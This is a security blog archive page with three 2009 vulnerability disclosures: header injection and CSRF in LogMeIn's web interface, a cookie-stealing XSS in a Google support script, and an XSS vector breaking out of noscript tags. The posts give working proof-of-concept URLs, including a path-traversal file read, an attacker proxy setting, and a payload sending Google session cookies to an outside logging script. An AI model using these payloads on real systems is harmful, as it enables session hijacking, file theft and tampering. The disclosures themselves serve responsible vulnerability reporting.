Posts Tagged ‘Javascript’

« Older Entries
Newer Entries »

Multiple vulnerabilities in LogMeIn web interface can be used to control your computer and steal arbitary files

Wednesday, June 3rd, 2009

A month ago, I reported some severe vulnerabilities in LogMeIn software, specifically version 4.0.784. For those of you that don’t know what LogMeIn is, LogMeIn is a popular remote access software, just like GotoMyPC and Windows RDP. It provides simple and secure access to your computers from any location on the internet, at the convenience of your web browser.

For exploiting these vulnerabilities, you need to social engineer the user to click on a url (e.g. through spam email) or make them visit your evil site somehow.

Vulnerability 1:
The url paramater “lang” passed to cfgadvanced.html is vulnerable to HTTP Header Injection attack using CRLFs. What makes this attack more interesting is once you social engineer a user into clicking this malicious url, you achieve persistent control over all the LogMeIn web pages.

This happens because after the injection occurs, LogMeIn stores the new value of “lang” paramater in registry key [HKEY_LOCAL_MACHINE\SOFTWARE\LogMeIn\V5\Appearance\Language] and puts it in Content-Language header everytime you click any link.

The proof of concept url given below can by used to STEAL ANY FILE ON YOUR DISK, in this case your win.ini file.

https://localhost:2002/cfgadvanced.html?op=update&DisconnectExisting=1&NoHttpCompr=1&CrashDumpInfo=0&lang=en-US%0D%0A%0D%0A%3Chtml%3E%3Cbody%3E%3C/body%3E%3CSCRIPT%3Evar%20ifr%3Dnull%3Bfunction%20al%28%29%7Bvar%20str%3D%28window.frames%5B0%5D.document.body.innerHTML%20%7C%7C%20ifr.contentDocument.documentElement.innerHTML%29%3Balert%28str.substring%28%28str.toLowerCase%28%29%29.indexOf%28%22%3Clegend%3E%22%2C400%29%29%29%3B%7D%20if%28window.location.href.match%28/.*cfgad.*/%29%29%7Bifr%3Ddocument.createElement%28%22iframe%22%29%3Bifr.src%3D%22https%3A//localhost%3A2002/logs.html%3Flog%3D../../../windows/win.ini%22%3Bdocument.body.appendChild%28ifr%29%3BsetTimeout%28%22al%28%29%22%2C4000%29%3B%7D%3C/script%3E%3C%21--

To help you understand this exploit better, I am pasting the url decoded parameter value of “lang” paramater.

lang=en-US

<html>
<body>
</body>
<script>
var ifr=null;
function al()
{
var str=(window.frames[0].document.body.innerHTML || ifr.contentDocument.documentElement.innerHTML);
alert(str.substring((str.toLowerCase()).indexOf("<legend>",400)));
}
if(window.location.href.match(/.*cfgad.*/))
{
ifr=document.createElement("iframe");
ifr.src="https://localhost:2002/logs.html?log=../../../windows/win.ini";
document.body.appendChild(ifr);
setTimeout("al()",4000);
}
</script>
<!--
LogMeIn - Local File Disclosure using Header Injection


Vulnerability 2:
The LogMeIn web interface does not have any Cross Site Request Forgery protection at all. It can be used by an attacker to make arbitrary changes to your LogMeIn System Settings. Example attacks include:

a. The following url can be used to make your machine restart everyday at a particular time. Too bad if you are using LogMeIn in a production environment :( .

https://localhost:2002/restartat.html?type=1&datey=2009&datem=04&dated=28&daily=1&week=0&timeh=22&timem=40&force=1&op=set

LogMeIn - Change Reboot Settings using CSRF

b. The following url can be used to set an intercepting proxy that passively listens all your LogMeIn traffic.

https://localhost:2002/cfgnet.html?submit=1&restart=&ListenPort=2002&ListenPort=2002&ListenIP=*&IPFilter=&BrokenProxy=255.255.255.0&ServicingThreads=50&IdleTimeOut=0%3A00%3A20%3A00&VersionCheck=1&ProxyAddr=evilproxy.com&ProxyPort=2000&ProxyUsername=user1&ProxyPassword=pass1&submit=Apply

LogMeIn - Change Proxy Settings using CSRF

The LogMeIn Team is currently fixing all these vulnerabilities and a patched version should be available anytime this month. Till then, I advise disabling LogMeIn completely. Web Interfaces are historically known to be disastrous (e.g. uTorrent Pwn3d, Router Hacking Challenge), so make sure you know what gets installed on your computer :) .

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , , , , ,
Posted in CSRF, Exploits, WebAppSec, XSS | 6 Comments »

Universal XSS Vulnerability in all Google Services can compromise your personal information

Friday, May 8th, 2009

Vulnerability Reported: 04/18/2009 9.33 pm
Google’s Response: 04/18/2009 10.19 pm (Wow! that was super fast for Saturday :) )
Vulnerability Fixed: 05/05/2009 7.05 pm
Change Propogated: 05/07/2009 3.19 pm

I recently reported a cross-scripting flaw to Google, which is now fixed. The vulnerability existed in Google’s Support Python Script where a malicious url is not sanitized for XSS character ‘ (single quote) before putting inside javascript variable logURL. As a result, it was possible to break the encapsulation of the var declaration and execute arbitary javascript commands on the main Google.com domain.

The only limitation was the following characters were either filtered out or url encoded – ” (double quote) < > (space) { }. However, this protection could be easily circumvented. I was able to write javascript statements to steal the session cookies [since characters such as ' ; . ( ) / = + were still available] and send it to my evil website. See the example given below.

Your Google.com domain cookie is the central Single Sign-On cookie to all google services. Once anyone gets it, he or she can use it to

1. Steal your emails.
2. Steal your contacts.
3. Steal your documents.
4. Steal your code.
5. Steal your sites.
6. Steal your website analytics.
7. Backdoor your iGoogle Homepage with malicious gadgets.
…. and there should be still some more things remaining that you can play with.


Simple Proof of Concept Code that displays your Google.com cookie in an alert box:-

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';alert(document.cookie);//&src=cb&lev=index

Universal Google XSS in Python Script
More real-world example where an attacker will silently transfer your Google.com cookie to his or her evil site:-

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';ifr=document.createElement('iframe');ifr.src='http:'+'//www.securethoughts.com/security/cookielogger/log.cgi?cookie='+escape(document.cookie);document.body.appendChild(ifr);//src=cb&lev=index


I would like thank the Google Security Team for their prompt responses and fixing this serious issue in a timely manner. If you think Google took a long time in fixing this vulnerability, think again. This python script is used in a lot of places. Try this Google Dork to see the usage of this script in almost all Google Services.

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , ,
Posted in Exploits, WebAppSec, XSS | 10 Comments »

Hacking for XSS inside noscript html tags

Saturday, February 14th, 2009

I have found a XSS vector inside html noscript tags. It is very simple and easy. This attack method is not new as it is already discussed in the context of other html tags such as title, textarea, style, etc.

For understanding this attack, first lets compose a simple html file with the following contents:

<noscript>
<script>alert('XSS')</script>
</noscript>

Then lets run this file in your browser (Example – noscript.html). You would notice that it won’t execute the javascript to show an alert box. The reason being:

  1. If you have javascript enabled, then any content inside noscript tags does not get parsed. Check the standards here.
  2. If you don’t have javascript enabled, then content inside noscript tags will be parsed. However, since javascript content is globally disabled, the javascript code inside noscript tags won’t execute as well.

So, then the only way left to execute our malicious XSS inside noscript html tags is to come out of the noscript tag using </noscript> and then use our simple XSS vector. Also, you should add the html comments start tag at the end to prevent any html parser errors. The complete attack vector looks like this:

"></noscript><script>alert('XSS')</script><!--

I have seen some real world examples where this attack is possible. It looks like that Developers have a false illusion in their minds that it is not required to escape user supplied content inside noscript html tags. This posting should help to open some eyes.

The example code given below comes from the html page of a mid-size company that aims to put the world wide web offline. Despite several attempts to contact the site owner, I have not received any response. Since this vulnerability still exists, I have removed the site’s name from the various images below.

1. Javascript content inside title tag is escaped.

2. Javascript content inside input tag is escaped.

3. Javascript content inside noscript tag is NOT escaped.

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , ,
Posted in WebAppSec, XSS | 1 Comment »

« Older Entries
Newer Entries »